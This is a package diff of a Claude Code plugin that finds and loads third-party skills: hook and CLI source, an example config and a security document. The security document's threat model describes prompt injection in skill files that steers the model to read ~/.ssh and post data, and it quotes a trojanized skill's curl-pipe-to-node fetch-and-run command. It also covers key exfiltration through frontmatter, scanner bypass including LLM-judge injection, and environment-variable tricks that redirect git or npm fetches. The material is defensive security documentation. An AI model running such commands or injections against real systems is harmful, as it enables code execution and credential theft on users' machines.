singular-skill 0.0.0-stage → 0.2.0

package/bin/on-subagent.js

@@ -0,0 +1,127 @@
+#!/usr/bin/env node
+// bin/on-subagent.js — SubagentStart hook entrypoint for singular.
+//
+// A subagent's prompt never passes through UserPromptSubmit and the parent's additionalContext is not
+// inherited (verified on Claude Code 2.1.293: a subagent reported no [singular] line at all), but a
+// SubagentStart hook may return hookSpecificOutput.additionalContext ("Context only" in the hooks docs;
+// exit 2 does not block). This entrypoint injects ONLY the one-line project stack: no index scoring,
+// no network, no prefetch, no third-party text (ephemeral /singular load text is never forwarded to
+// subagents), so it finishes in well under 100 ms.
+//
+// stdin JSON (2.1.293): {session_id, transcript_path, cwd, prompt_id, agent_id, agent_type, hook_event_name: "SubagentStart"}
+// stdout: {"hookSpecificOutput":{"hookEventName":"SubagentStart","additionalContext":"[singular] Stack: ..."}} or nothing
+// Exit 0 always. Nothing when mode is off, stackDetection is false, or the cwd has no detectable stack.
+//
+// Dry-run: node bin/on-subagent.js --dry-run [--cwd <dir>]
+
+import fs from 'node:fs';
+import path from 'node:path';
+import { pathToFileURL } from 'node:url';
+
+import { hardenEnv, loadConfig } from '../lib/config.js';
+import { hookOutput, TAG } from '../lib/context.js';
+import { log, timer } from '../lib/log.js';
+import { detectStack } from '../lib/stack.js';
+
+export const EVENT = 'SubagentStart';
+
+function readStdinSync() {
+  try {
+    return fs.readFileSync(0, 'utf8');
+  } catch {
+    return '';
+  }
+}
+
+/**
+ * Pure core: {context, skipped, stack, warnings, elapsedMs}. Never throws.
+ */
+export async function runOnSubagent({ cwd, env: rawEnv = process.env, config: cfgOverride } = {}) {
+  const t = timer();
+  const dir = path.resolve(cwd || rawEnv.PWD || process.cwd());
+  const hardened = hardenEnv(rawEnv, { cwd: dir });
+  const config = cfgOverride ?? loadConfig(hardened.env);
+  const result = { context: '', skipped: null, stack: null, warnings: [...hardened.warnings, ...(config.warnings ?? [])], elapsedMs: 0 };
+  if (config.mode === 'off') result.skipped = 'mode off';
+  else if (config.stackDetection === false) result.skipped = 'stackDetection false';
+  else {
+    try {
+      result.stack = await detectStack(dir);
+    } catch {
+      result.stack = { summary: '', tags: [] };
+    }
+    if (result.stack.summary) result.context = `${TAG} Stack: ${result.stack.summary}`;
+    else result.skipped = 'no detectable stack';
+  }
+  result.elapsedMs = t.elapsed();
+  return result;
+}
+
+export async function main(argv = process.argv.slice(2)) {
+  if (argv.includes('--help') || argv.includes('-h')) {
+    process.stdout.write('usage: on-subagent.js [--dry-run] [--cwd <dir>]\n  (no args: read the SubagentStart hook JSON from stdin)\n');
+    return 0;
+  }
+  const dryRun = argv.includes('--dry-run');
+  const i = argv.indexOf('--cwd');
+  let cwd = i >= 0 ? argv[i + 1] : null;
+  let input = {};
+  if (!dryRun) {
+    const raw = readStdinSync();
+    try {
+      input = raw.trim() ? JSON.parse(raw) : {};
+    } catch (err) {
+      log('warn', 'on-subagent: stdin is not JSON', { error: err.message });
+      return 0;
+    }
+    if (input.hook_event_name && input.hook_event_name !== EVENT) {
+      log('debug', 'on-subagent: ignoring event', { event: input.hook_event_name });
+      return 0;
+    }
+    cwd = cwd ?? (typeof input.cwd === 'string' && input.cwd ? input.cwd : null);
+    if (!cwd) {
+      // A real SubagentStart always carries cwd; malformed or empty input must not describe this process's cwd.
+      log('debug', 'on-subagent: no cwd in hook input; nothing injected');
+      return 0;
+    }
+  }
+  const dir = path.resolve(cwd || process.cwd());
+  const hardened = hardenEnv(process.env, { cwd: dir });
+  for (const k of Object.keys(process.env)) if (!(k in hardened.env)) delete process.env[k];
+  for (const [k, v] of Object.entries(hardened.env)) process.env[k] = v;
+  try {
+    const result = await runOnSubagent({ cwd: dir, env: process.env });
+    log('info', 'on-subagent', {
+      sessionId: typeof input.session_id === 'string' ? input.session_id : null,
+      agentId: typeof input.agent_id === 'string' ? input.agent_id : null,
+      agentType: typeof input.agent_type === 'string' ? input.agent_type : null,
+      skipped: result.skipped,
+      chars: result.context.length,
+      ms: Math.round(result.elapsedMs * 10) / 10,
+    });
+    if (dryRun) process.stdout.write(`${result.context || `${TAG} (no context: ${result.skipped})`}\n`);
+    else if (result.context) process.stdout.write(hookOutput(EVENT, result.context));
+    return 0;
+  } catch (err) {
+    log('error', 'on-subagent failed', { error: String(err?.stack ?? err?.message ?? err) });
+    return 0;
+  }
+}
+
+const isEntrypoint = (() => {
+  try {
+    return process.argv[1] && pathToFileURL(path.resolve(process.argv[1])).href === import.meta.url;
+  } catch {
+    return false;
+  }
+})();
+
+if (isEntrypoint) {
+  main().then(
+    (code) => process.exit(code ?? 0),
+    (err) => {
+      log('error', 'on-subagent crashed', { error: String(err?.stack ?? err) });
+      process.exit(0);
+    },
+  );
+}

package/bin/singular-cli.js

@@ -0,0 +1,52 @@
+#!/usr/bin/env node
+// bin/singular-cli.js — the `singular` binary of the singular-skill npm package.
+//
+//   npm install -g singular-skill   (or: npx singular-skill install)
+//   singular install                 copies the plugin payload to ~/.claude/singular/plugin and registers it with
+//                                    Claude Code (claude plugin marketplace add + claude plugin install singular@singular)
+//   singular update | uninstall [--purge] | status | doctor
+//   singular find|add|mode|load ...  the /singular subcommands from a terminal
+//
+// Everything lives in lib/cli-core.js (injectable deps; see test/unit-cli.test.js). This file only maps argv to an
+// exit code. Zero dependencies; every subprocess is an execFile with an argument array, never a shell string.
+
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+import { runCli } from '../lib/cli-core.js';
+
+export { runCli };
+
+export async function main(argv = process.argv.slice(2)) {
+  return runCli(argv);
+}
+
+// npm links <prefix>/bin/singular -> ../lib/node_modules/singular-skill/bin/singular-cli.js: process.argv[1] is the
+// symlink while import.meta.url is the real file, so both sides are compared after realpath (the other bin/ scripts
+// are only ever run by their real path).
+const isEntrypoint = (() => {
+  try {
+    if (!process.argv[1]) return false;
+    const real = (p) => {
+      try {
+        return fs.realpathSync.native(p);
+      } catch {
+        return path.resolve(p);
+      }
+    };
+    return real(process.argv[1]) === real(fileURLToPath(import.meta.url));
+  } catch {
+    return false;
+  }
+})();
+
+if (isEntrypoint) {
+  main().then(
+    (code) => process.exit(code ?? 0),
+    (err) => {
+      process.stderr.write(`singular: ${String(err?.message ?? err)}\n`);
+      process.exit(1);
+    },
+  );
+}

package/bin/singular.js

@@ -0,0 +1,114 @@
+#!/usr/bin/env node
+// bin/singular.js — the `/singular` command dispatcher (and the terminal entrypoint behind `singular <subcommand>`).
+//
+//   node bin/singular.js                       status + one-screen help
+//   node bin/singular.js status [--json] [--cwd <dir>]
+//   node bin/singular.js help
+//   node bin/singular.js find "<query>" [--limit N] [--all] [--json] [--cwd <dir>]
+//   node bin/singular.js add <owner/repo[#sha]@skill> [--yes] [--json]
+//   node bin/singular.js mode [off|local|suggest|auto] [--json]
+//   node bin/singular.js load <owner/repo[#sha]@skill> [--update] [--json]   (terminal convenience; in Claude Code
+//                                                                             `/singular load` is handled by the
+//                                                                             UserPromptExpansion hook, bin/on-expand.js)
+//
+// A leading option (`--json`, `--cwd`) without a subcommand means `status`. An unknown subcommand prints the help
+// on stderr and exits 1. Output formats and exit codes of the subcommands are those of the former per-command
+// scripts; the code lives in lib/commands/{status,find,add,mode}.js and is re-exported here for in-process use.
+
+import path from 'node:path';
+import { pathToFileURL } from 'node:url';
+
+import { TAG } from '../lib/context.js';
+import { log } from '../lib/log.js';
+import { main as addMain } from '../lib/commands/add.js';
+import { main as findMain } from '../lib/commands/find.js';
+import { main as modeMain } from '../lib/commands/mode.js';
+import { main as statusMain } from '../lib/commands/status.js';
+import { main as expandMain } from './on-expand.js';
+
+export { collectStatus, formatStatus } from '../lib/commands/status.js';
+export { runFind, formatReport, rankRejected, FIND_TIMEOUT_MS } from '../lib/commands/find.js';
+export { runAdd, parseCliJson, unsafeTreeEntries, skillsDir, findSkillDirs, ADD_TIMEOUT_MS } from '../lib/commands/add.js';
+export { setMode, describeMode, AUTO_WARNING } from '../lib/commands/mode.js';
+
+export const SUBCOMMANDS = Object.freeze(['status', 'help', 'find', 'load', 'add', 'mode']);
+
+export const HELP = [
+  'Singular — find, load, add and manage third-party skills for Claude Code',
+  '  /singular                        status + this help',
+  '  /singular status [--json]        config, mode, indexed skills, cache, pins, installs, log tail',
+  '  /singular find <query>           search skills.sh (gated: owner allowlist, install floor, audit); never installs',
+  '  /singular load owner/repo@skill [--update]',
+  '                                   load a skill\'s text into this session only (commit-pinned, sanitized; nothing',
+  '                                   is written to ~/.claude/skills); owner/repo#<40-hex-sha>@skill pins a commit',
+  '  /singular add owner/repo@skill   persistent install into ~/.claude/skills (pinned, inspected before and after the copy)',
+  '  /singular mode [off|local|suggest|auto]',
+  '                                   show or switch the mode (rewrites only the "mode" key of config.json)',
+  '  /singular help                   this help',
+  'Config: ~/.claude/singular/config.json (allowlist, blockedRefs, installFloor, pinnedSkills, ...).',
+  'From a terminal: `singular <subcommand> ...` (npm install -g singular-skill) or `node bin/singular.js <subcommand> ...`.',
+].join('\n');
+
+const LOAD_USAGE = 'usage: singular load <owner/repo[#sha]@skill> [--update] [--json]';
+
+/** Split argv into {sub, rest}: a leading option means `status`; the subcommand is matched case-insensitively. */
+export function parseDispatch(argv) {
+  const args = Array.isArray(argv) ? [...argv] : [];
+  if (args.length === 0) return { sub: 'status', rest: [] };
+  const first = String(args[0]);
+  if (first === '--help' || first === '-h') return { sub: 'help', rest: args.slice(1) };
+  if (first.startsWith('-')) return { sub: 'status', rest: args };
+  return { sub: first.toLowerCase(), rest: args.slice(1) };
+}
+
+export async function main(argv = process.argv.slice(2)) {
+  const { sub, rest } = parseDispatch(argv);
+  switch (sub) {
+    case 'help':
+      process.stdout.write(`${HELP}\n`);
+      return 0;
+    case 'status':
+      // `/singular` and `/singular status` both print the status followed by the one-screen help (text mode only).
+      return statusMain(rest, { trailer: rest.includes('--json') ? '' : HELP });
+    case 'find':
+      return findMain(rest);
+    case 'add':
+      return addMain(rest);
+    case 'mode':
+      return modeMain(rest);
+    case 'load': {
+      if (rest.includes('--help') || rest.includes('-h')) {
+        process.stdout.write(`${LOAD_USAGE}\n`);
+        return 0;
+      }
+      if (!rest.some((a) => !a.startsWith('-'))) {
+        // never fall through to on-expand's hook mode (it would wait for stdin JSON)
+        process.stderr.write(`${TAG} missing skill reference. ${LOAD_USAGE}\n`);
+        return 1;
+      }
+      return expandMain(['load', ...rest]);
+    }
+    default:
+      process.stderr.write(`${TAG} unknown subcommand "${argv[0]}"; expected one of ${SUBCOMMANDS.join(' | ')}\n${HELP}\n`);
+      return 1;
+  }
+}
+
+const isEntrypoint = (() => {
+  try {
+    return process.argv[1] && pathToFileURL(path.resolve(process.argv[1])).href === import.meta.url;
+  } catch {
+    return false;
+  }
+})();
+
+if (isEntrypoint) {
+  main().then(
+    (code) => process.exit(code ?? 0),
+    (err) => {
+      log('error', 'singular crashed', { subcommand: parseDispatch(process.argv.slice(2)).sub, error: String(err?.stack ?? err) });
+      process.stderr.write(`${TAG} error: ${String(err?.message ?? err)}\n`);
+      process.exit(1);
+    },
+  );
+}

package/config.example.json

@@ -0,0 +1,23 @@
+{
+  "mode": "suggest",
+  "allowlist": [
+    "anthropics",
+    "vercel-labs",
+    "microsoft",
+    "multica-ai"
+  ],
+  "installFloor": 1000,
+  "maxLocalSkills": 3,
+  "maxCandidates": 2,
+  "minPromptChars": 40,
+  "remoteTimeoutMs": 2500,
+  "totalBudgetMs": 6000,
+  "contextBudgetChars": 2000,
+  "cacheTtlHours": 24,
+  "skillsCliVersion": "1.5.26",
+  "requireAuditPass": true,
+  "stackDetection": true,
+  "blockedRefs": [],
+  "pinnedSkills": [],
+  "prefetch": true
+}

package/docs/security.md

@@ -0,0 +1,110 @@
+# Singular — security model
+
+What this plugin defends against, what it does not, and what it never does. Facts and measurements come from `research/2026-09-15-auto-skill-discovery-feasibility.md` (section 4) and `research/2026-09-24-anthropic-vetted-supply.md`; the mechanics were verified live on Claude Code 2.1.282 (2026-09-24) and 2.1.293 (2026-10-07/08; see the spike facts and the "Observed" section in `docs/spec.md`, and `test/e2e/README.md`). The review findings of 2026-09-24 (environment privilege escalation, CLI flag injection through skill names, quoted/indented frontmatter, symlink dereference, prompt data on the wire) are folded in below and each has a regression test in `test/`.
+
+## 1. Threat model
+
+A third-party skill is prose plus, potentially, capability:
+
+| Vector | Mechanism | Why it matters |
+| :-- | :-- | :-- |
+| Prompt injection in SKILL.md | The text lands in Claude's context and can ask it to run commands, read `~/.ssh`, post data | 91% of the confirmed-malicious skills in Snyk's ToxicSkills sample worked this way |
+| `!`cmd`` and ```` ```! ```` fences | Claude Code runs them **before the model sees the skill** when the skill is invoked | Zenity's trojanized Paperclip skills on skills.sh used `curl … \| base64 -d > /tmp/t.mjs && node /tmp/t.mjs` |
+| Frontmatter capability keys | `allowed-tools` (turn-scoped self-grant, not gated by workspace trust), `hooks` (session-long shell hooks), `context: fork` + `agent`, `paths`, `shell`, `model`. Claude Code parses them in **quoted** (`"allowed-tools":`) and **uniformly indented** (`  hooks:`) spellings too (verified 2.1.282) | Reversec and Datadog exfiltrated SSH/AWS keys through these |
+| `@path` references | Pull arbitrary files into context | same |
+| Folder is a plugin, not prose | `npx skills add` copies the **whole folder**, dereferences symlinks (`fs.cp({dereference: true})`), keeps exec bits, matches `--skill` case-insensitively, and reads a name starting with `-` as a flag. A folder under `~/.claude/skills` with `.claude-plugin/plugin.json` loads as `<name>@skills-dir` on the next session with **no trust dialog** at user scope: MCP servers auto-start, LSP starts, `bin/` joins PATH, hooks run | CHANGELOG 2.1.157, issue #63770; a `superset@skills-dir` plugin is enabled at user scope on this machine already |
+| A repository's committed settings | `<repo>/.claude/settings.json` `{"env": {...}}` is applied to every hook process started in that project, so a hostile repo can set `SINGULAR_MODE`, `SINGULAR_HOME` or `HOME` for this plugin | verified live: without hardening, `SINGULAR_MODE=auto` + `SINGULAR_HOME=.singular` handed the repo the allowlist, install floor, audit gate, pins and cache |
+| Time-of-check / time-of-use | `npx skills use owner/repo@skill` fetches HEAD every time; a skill that was clean when audited can be trojanized later (Paperclip: clean while accumulating installs, trojanized July 11, 1.7M installs by Aug 2) | install counts are not a safety signal |
+| Registry ranking | skills.sh `/api/search` is lexical, not install-weighted, and capped at 200 results; canonical entries rank below forks; typosquats accumulate installs | a naive top-N picks a fork or a name-prefix coincidence (`next` for `nextjs`, `fsi-strip-profile` for `stripe`) |
+| Scanner bypass | Trail of Bits got malicious skills past Gen, Socket, Snyk, Cisco and VirusTotal in under an hour with newline padding, `.pyc`, `.docx`-embedded scripts and LLM-judge injection | audit status is advisory |
+
+Anthropic's guidance: use skills only from sources you trust; never deploy skills from untrusted sources without a full audit. Anthropic's own content scanning covers Enterprise uploads, not Claude Code local skills, and there is no skill signing or provenance mechanism as of 2.1.282.
+
+## 2. Gates, in the order they apply
+
+Every path that can bring third-party text near Claude (`suggest`, `auto`, `pinnedSkills`, `/singular load`, `/singular add`, `/singular find`) goes through the same gates in `lib/registry.js`, `lib/refs.js`, `lib/config.js`, `lib/inspect.js`:
+
+1. **Reference grammar.** A ref must match `^[A-Za-z0-9][A-Za-z0-9-]*/[A-Za-z0-9][A-Za-z0-9._-]*(#[0-9a-f]{40})?@[A-Za-z0-9][A-Za-z0-9._-]*$` before it is used anywhere: every segment starts with a letter or digit, so a skill or repo named `-y`, `--skill`, `.` or `..` can never become an argv flag or a path component (`isSafeSegment` also caps segment length at 100). The same grammar validates every registry entry (`source`, `skillId`). `on-expand.js` requires exactly one ref and only the known flags (`--update`, `--json`, `--prefetch`). Shell metacharacters, path traversal and multiple refs are rejected before any subprocess exists.
+2. **Owner allowlist** (`config.allowlist`, default `anthropics`, `vercel-labs`, `microsoft`, `multica-ai`). Entries are `owner` or `owner/repo`, exact, case-insensitive. Non-allowlisted candidates are rejected with `owner X not allowlisted`; `/singular load evil/repo@x` is blocked by the expansion hook before any model call (exit 2, cost 0). `pinnedSkills` refs from a non-allowlisted owner are ignored with a warning.
+3. **`blockedRefs`** (`owner`, `owner/repo`, `owner/repo@skill`) wins over the allowlist.
+4. **Install floor** (`installFloor`, default 1000) — a weak signal, kept only because it filters typosquats that have not yet accumulated installs.
+5. **Fork dedupe** — among candidates with the same skill name, an allowlisted source wins; among allowlisted sources the highest installs wins; the rest are reported as `fork of …`.
+6. **Already installed** — a candidate whose name matches an installed skill is dropped (the local one is routed to instead). Observed consequence: on a machine with the claude.ai-synced `data` plugin, a pandas prompt gets no third-party candidates at all, because `statistical-analysis` and `data-visualization` are rejected as `already installed locally`; `/singular find` shows the group count.
+7. **Relevance, not installs alone** — a candidate is *matched* only when a prompt token (or an intent term derived from it, e.g. `landing page` → `frontend design`) equals a token of its name after stemming; a single hyper-common word (`file`, `function`, `page`, `test`, …) is never a match; a project stack tag alone (the project uses React) is a weak bonus, never a match; `log10(installs)` is added as a real ranking term. Unmatched entries are never suggested, however popular.
+8. **Audit** — `GET skills.sh/api/v1/skills/audit/{source}/{skill}` is aggregated over its providers: any `fail` or `CRITICAL` → `fail`, any `warn` → `warn`, else `pass`, 404/transport error → `unknown`. With `requireAuditPass: true` (default) only `fail` is dropped. `warn` and `unknown` pass with the status shown, because strict all-pass would reject `anthropics/skills@web-artifacts-builder` (Socket warn, Runlayer MEDIUM today) and several vercel-labs skills. Treat the audit as a hint, not a verdict.
+9. **Commit pin.** `/singular load` resolves HEAD by `git ls-remote https://github.com/<owner>/<repo> HEAD` on the first load, stores it in `$SINGULAR_HOME/loaded.json`, and reuses that pin until `--update`; `auto` and `pinnedSkills` pin the same way before fetching; `/singular add` installs `owner/repo#sha`. Suggestions show `#sha7` when the HEAD is already cached and otherwise the short `owner/repo@skill` form (the pin happens seconds later, on load or by the background prefetch). The `skills` CLI itself is pinned (`skillsCliVersion`, default `1.5.26`, never `latest`). A `#sha` ref is immutable, so its text is cached forever (`text:<ref>`); any ref is fetched at most once per machine.
+10. **Sanitizer** (`sanitizeSkillText`, applied to every text that reaches Claude via `/singular load`, `auto` or `pinnedSkills`): removes frontmatter keys `allowed-tools, disallowed-tools, hooks, context, agent, shell, paths, model` with their nested lines, in plain, **quoted** (`"hooks":`), **indented** (`  hooks:`) and mixed-case spellings; drops flow-mapping lines (`{`/`[` at line start) inside the frontmatter; drops lines containing `` !` ``; drops fenced ```` ```! ```` / `~~~!` blocks; drops line-leading `@path` references (including `- @path` items); strips ANSI/NUL and normalizes CRLF; caps at 9,000 characters. Everything removed is listed in the header Claude sees (`stripped: …`).
+11. **Inspection before the copy** (`/singular add` only, `bin/singular.js add` + `lib/inspect.js`): the skills CLI is **not** used to install. singular fetches the pinned commit itself into a temp dir (`git init`, `remote add`, `fetch --depth 1 origin <sha>`, `checkout FETCH_HEAD`; execFile, no shell), locates the skill folder by an **exact, case-sensitive** match on the directory name or frontmatter `name` (so `@DOCX` cannot install `docx`), runs `git ls-tree -r FETCH_HEAD -- <path>` and rejects any `120000` (symlink), `100755` (exec bit) or `160000` (submodule) entry, then runs `inspectSkillFolder` on the checkout: refused if it contains `.claude-plugin/`, `hooks/`, `bin/`, `monitors/`, `agents/`, `commands/`, `scripts/`, `.claude/`, `plugin.json`, `.mcp.json`, `.lsp.json`, `settings.json`, `hooks.json`, `marketplace.json`, any symlink, any file with an exec bit, or a SKILL.md with capability frontmatter (in any of the spellings above, any quoted key at all, any flow mapping, an indented first key, or `user-invocable: false`) or shell/`@` forms in its body. Only a clean tree is copied (`fs.cpSync` with `dereference: false`, `errorOnExist`, `.git` filtered), then `~/.claude/skills` is diffed against a snapshot taken before the copy (exactly one new entry, named after the skill, a plain directory) and the copy is inspected again. Any failure removes exactly the folder this run created (it must sit directly under `~/.claude/skills`, be named after the skill, and not have existed before); any other entry that appeared during the copy belongs to a concurrent writer and is left untouched and named in the rejection (until 2026-10-08 it was deleted too). A rejected skill never touches `~/.claude/skills` at all.
+
+## 3. Why ephemeral loading is the default
+
+Injected text (`/singular load`, `auto`, `pinnedSkills`) is **data in context**, not an installed skill:
+
+- Nothing is written under `~/.claude/skills`, `~/.claude/plugins` or any settings file, so no `@skills-dir` plugin can appear, no hook/MCP/LSP/`bin/` can register, and the next session starts clean.
+- The frontmatter that grants capability on *invocation* is stripped; the `!`/`@` forms that run *before the model sees the skill* are stripped. What remains cannot execute anything by itself.
+- What remains **can still persuade**. The residual risk is prompt injection in prose you did not read. In `suggest` you type `/singular load` after seeing the ref, installs and audit status (the hook's `systemMessage` names them in the transcript even when the model does not relay them); in `auto` you do not. That is why `auto` is off by default, only counts when it is written in the default `~/.claude/singular/config.json` (never through the environment or a redirected state dir), shows a one-time warning as the hook's `systemMessage` (visible in the transcript; stderr of an exit-0 hook is not shown), and is documented as a cost and a risk in the README ("What auto actually costs").
+
+## 4. Environment and project settings
+
+Environment variables reach the hook process from your shell **and** from the current repository's committed `.claude/settings.json` `env` block. The environment is therefore treated as untrusted and can only *lower* privilege (`hardenEnv` / `loadConfig` in `lib/config.js`, applied by every entrypoint):
+
+- `SINGULAR_MODE` can only downgrade the mode below what the config file says (`off` < `local` < `suggest` < `auto`); a higher value is ignored with a warning shown by `/singular status` and `/singular mode`.
+- `SINGULAR_HOME` is honoured only when it is an **absolute** path that is **neither inside nor an ancestor of the project directory** (the hook's `cwd`). A relative value (`.singular`), one under the repo, or one above it (`/workspaces` while the repo is checked out as `/workspaces/cache`, which would make the checkout the cache directory) is ignored; the default `~/.claude/singular` is used and nothing is written into the project.
+- `mode: "auto"` is honoured only when it comes from the default `~/.claude/singular/config.json`. In a redirected `SINGULAR_HOME` it is downgraded to `suggest` with a warning; `/singular mode auto` refuses to write it there.
+- `HOME` is replaced by the account's real home when it differs from it and points inside the project. This applies to your own shell too: `cd <dir> && HOME=<dir>/fakehome node bin/singular.js add <ref> --yes` installs into the **real** `~/.claude/skills` (observed 2026-10-08 during testing; the override is only logged, not printed). Keep a fake `HOME` and a redirected `SINGULAR_HOME` outside the directory you run from.
+- `TMPDIR` (`TMP`/`TEMP`) inside the project directory, or relative, is replaced by the platform default (`/tmp`): the temp cwd of a pinned clone or an `npx skills use` run must never sit inside the repository, because npm reads the nearest `.npmrc` on its walk up from the cwd (a committed `registry=` there would decide where the `skills` package comes from).
+- `CLAUDE_CONFIG_DIR` is used by the hooks only to find installed skills (read-only). The `singular` CLI passes it through unchanged to the `claude plugin ...` commands it runs, so an install can be pointed at another Claude Code config directory (the e2e and CLI tests isolate this way).
+- **Child processes get a fixed, minimal environment** (`lib/git.js childEnv`, applied to every `git ls-remote`, `git init|remote|fetch|checkout|ls-tree` and `npx -y skills@<v> use`): only `PATH`, `HOME`, `USER`/`LOGNAME`, `LANG`, the proxy variables (`HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, `ALL_PROXY` and their lowercase forms) and, on Windows, the system variables are copied from the hook's environment, plus the values singular sets itself (`GIT_TERMINAL_PROMPT=0`, `LC_ALL=C`, `NO_COLOR=1`, `TMPDIR=<fresh work dir>`, `DISABLE_TELEMETRY=1`, `NO_UPDATE_NOTIFIER=1`). Everything else is dropped: every `GIT_*` (`GIT_CONFIG_COUNT`/`GIT_CONFIG_KEY_n`/`GIT_CONFIG_VALUE_n`, with which a repository's env block could add `url.<elsewhere>.insteadOf=https://github.com/` and have a trusted `/singular load anthropics/skills@x` fetch, pin and cache attacker text under an allowlisted owner; `GIT_SSL_NO_VERIFY`, `GIT_SSH_COMMAND`, `GIT_PROXY_COMMAND`, `GIT_EXEC_PATH`, `GIT_DIR`, `GIT_CONFIG_GLOBAL`, `GIT_ASKPASS`), `XDG_CONFIG_HOME` (a git config file inside the repo), every `npm_config_*` / `NPM_CONFIG_*` (`registry`, with which `npx skills` would download and execute a package from an attacker registry on the first prefetch; `cache`, `userconfig`, `prefix`), `NODE_OPTIONS`, `NODE_PATH`, `NODE_TLS_REJECT_UNAUTHORIZED`, `NODE_EXTRA_CA_CERTS`, `SSL_CERT_FILE`/`SSL_CERT_DIR` (an attacker CA inside the repo, combined with a proxy) and the loader variables (`LD_PRELOAD`, `DYLD_INSERT_LIBRARIES`). A proxy is kept because it cannot forge a verified TLS peer. A corporate CA or a registry mirror belongs in `~/.gitconfig` (`http.sslCAInfo`, `url.<mirror>.insteadOf`) and `~/.npmrc` (`cafile`, `registry`), which git and npm still read from `HOME`. Regression tests: `test/unit-refs.test.js` (a `GIT_CONFIG_*` `insteadOf` rewrite against REAL git: the base repository answers, the rewrite target never), `test/unit-registry.test.js` (no inherited `npm_config_*` / `NODE_*` reaches `npx`; an in-project `TMPDIR` never becomes the work dir) and `test/unit-git.test.js` (the allowlist itself).
+
+Consequence: a hostile repository can switch the plugin **off** for its own directory, but it cannot turn `auto` on, change your allowlist, floor, audit gate, pins or cache, silence the auto warning, redirect a clone or the `skills` package download, or move the state, cache or temp directory into (or around) its own checkout. `test/unit-bin.test.js` ("a repository cannot raise privilege: SINGULAR_MODE=auto and an in-project SINGULAR_HOME are ignored") replays the attack. What a hook cannot defend against is a repository env block that rewrites `PATH`: that subverts the `node` that runs every hook of every plugin before this code starts, and is Claude Code's trust boundary (project settings), not the plugin's. Verified live on 2.1.293 (2026-10-07): a project `.claude/settings.json` with `env.SINGULAR_MODE=off` made the hook log `skipped: mode off` and inject nothing; the same file's `env.HOME` did **not** reach the hook (so the `HOME` rule above is defence in depth); `SINGULAR_MODE=auto` is logged as `ignored (the environment can only lower the mode below "suggest")`.
+
+**Test seams** (`SINGULAR_REGISTRY_BASE`, `SINGULAR_GIT_BASE`, `SINGULAR_SKILLS_DIR`, `SINGULAR_TEST_ALLOW_AUTO`; `docs/testing.md`) are environment variables too, so the same threat applies and each is honoured only in a form a repository's env block cannot exploit: the registry base must be an `http(s)` URL on a loopback host (a hostile repo cannot run a server on your machine, and a remote host is refused, so skills.sh responses cannot be impersonated); the git base must be an absolute local path or `file://` URL **neither inside nor an ancestor of the project directory** (a repository cannot plant `<base>/anthropics/skills` outside its own tree; an ancestor base such as `/workspaces` would resolve `<base>/anthropics/skills` to a sibling checkout, or to the project itself when it is checked out as `/workspaces/anthropics` with a bare repository committed under `skills/`, and was refused only since 2026-10-08; `https://` values are refused, so a trusted `/singular load anthropics/skills@x` can never be redirected to another host); the skills dir must be absolute and neither inside nor above the project (an install can never be redirected into the repository); `SINGULAR_TEST_ALLOW_AUTO=1` only matters together with a redirected `SINGULAR_HOME`, whose `config.json` the repository cannot write (a missing file is created from the defaults, mode `suggest`), and `SINGULAR_MODE` still cannot raise the mode. Every active seam is logged as a warning by every entrypoint and shown by `/singular status` (`TEST SEAMS ACTIVE`); every invalid value is dropped by `hardenEnv` with a warning; with the variables unset the code paths are byte-identical to production (asserted by tests on the exact URLs and argv).
+
+## 5. Outbound data
+
+What leaves the machine, and when (all HTTPS GET, `user-agent: singular/0.2 (+node)`, no cookies, no telemetry; `DISABLE_TELEMETRY=1` is set on the skills CLI):
+
+| When | Request | Prompt-derived content |
+| :-- | :-- | :-- |
+| every prompt in `suggest`/`auto` with no strong local match, at most once per `cacheTtlHours` (24 h) per allowlisted owner | `GET https://skills.sh/api/search?q=skill&limit=200&owner=<owner>` (the owner's catalog) | none |
+| same, when the prompt contains words from the built-in **tech lexicon** (`react`, `stripe`, `supabase`, `playwright`, … in `lib/score.js`) | up to **2** requests `GET https://skills.sh/api/search?q=<word>&limit=200`, cached per word | those single words only. Free-form words are never sent: for `Rotate the AcmeCorp production Stripe key for customer Contoso in vault before Friday` the only request is `q=stripe` (test: `discover` "free-form words never leave") |
+| when a candidate is ranked (top `maxCandidates` + 2) and its verdict is not cached | `GET https://skills.sh/api/v1/skills/audit/<owner>/<repo>/<skill>` | none (the candidate's id) |
+| `/singular find <query>` (you typed the query on purpose) | one additional `GET …/api/search?q=<joined keywords>` (observed for `supabase auth`: 7 requests in total — 4 owner catalogs, `q=supabase`, `q=auth`, `q=supabase auth`) | your query's keywords |
+| first `/singular load`, `auto` load, `pinnedSkills` load or background prefetch of a ref without a sha | `git ls-remote https://github.com/<owner>/<repo> HEAD` | none |
+| `/singular load`, `auto`, `pinnedSkills`, prefetch (first time per pinned ref) | `npx -y skills@1.5.26 use owner/repo#<sha>@skill` (clones that commit from github.com; text cached forever afterwards) | none |
+| `/singular add` | `git fetch --depth 1` of the pinned commit from github.com, then one audit lookup | none |
+
+Nothing else. In `mode: "local"` or `"off"` the per-prompt hook makes **no network requests at all** (`/singular load` and `/singular add` still do, on your command). The `SubagentStart` hook never touches the network (stack detection only). Synthetic prompts (`<task-notification>` after a backgrounded subagent finishes, bare `<system-reminder>` blocks) are skipped entirely, so tech words appearing in a subagent's output are never searched. The log (`$SINGULAR_HOME/singular.log`) records the number of keywords and the shared tech words, never the prompt or the free-form keywords (they are written only with `SINGULAR_DEBUG=1`).
+
+Rate limiting: skills.sh answers bursts with HTTP 429. On the first 429 the plugin writes a 5-minute cooldown (cache entry `cooldown:skills.sh`), skips every further request in that window (cached catalogs still rank), and `/singular status` and `/singular find` say `skills.sh rate-limited until HH:MM`. At most 2 requests are in flight at a time. A request that times out or fails on transport is remembered for 5 minutes (`fail:<key>`) and not retried on every prompt; a stale cached copy keeps ranking meanwhile. A `git ls-remote` that hits GitHub's credential prompt (missing or private repository; `GIT_TERMINAL_PROMPT=0` turns it into an error) is reported as `repository not found or private (GitHub asked for credentials)`.
+
+## 6. What the hooks never do
+
+- Never rewrite the prompt (the API cannot; `UserPromptSubmit` only adds `additionalContext`).
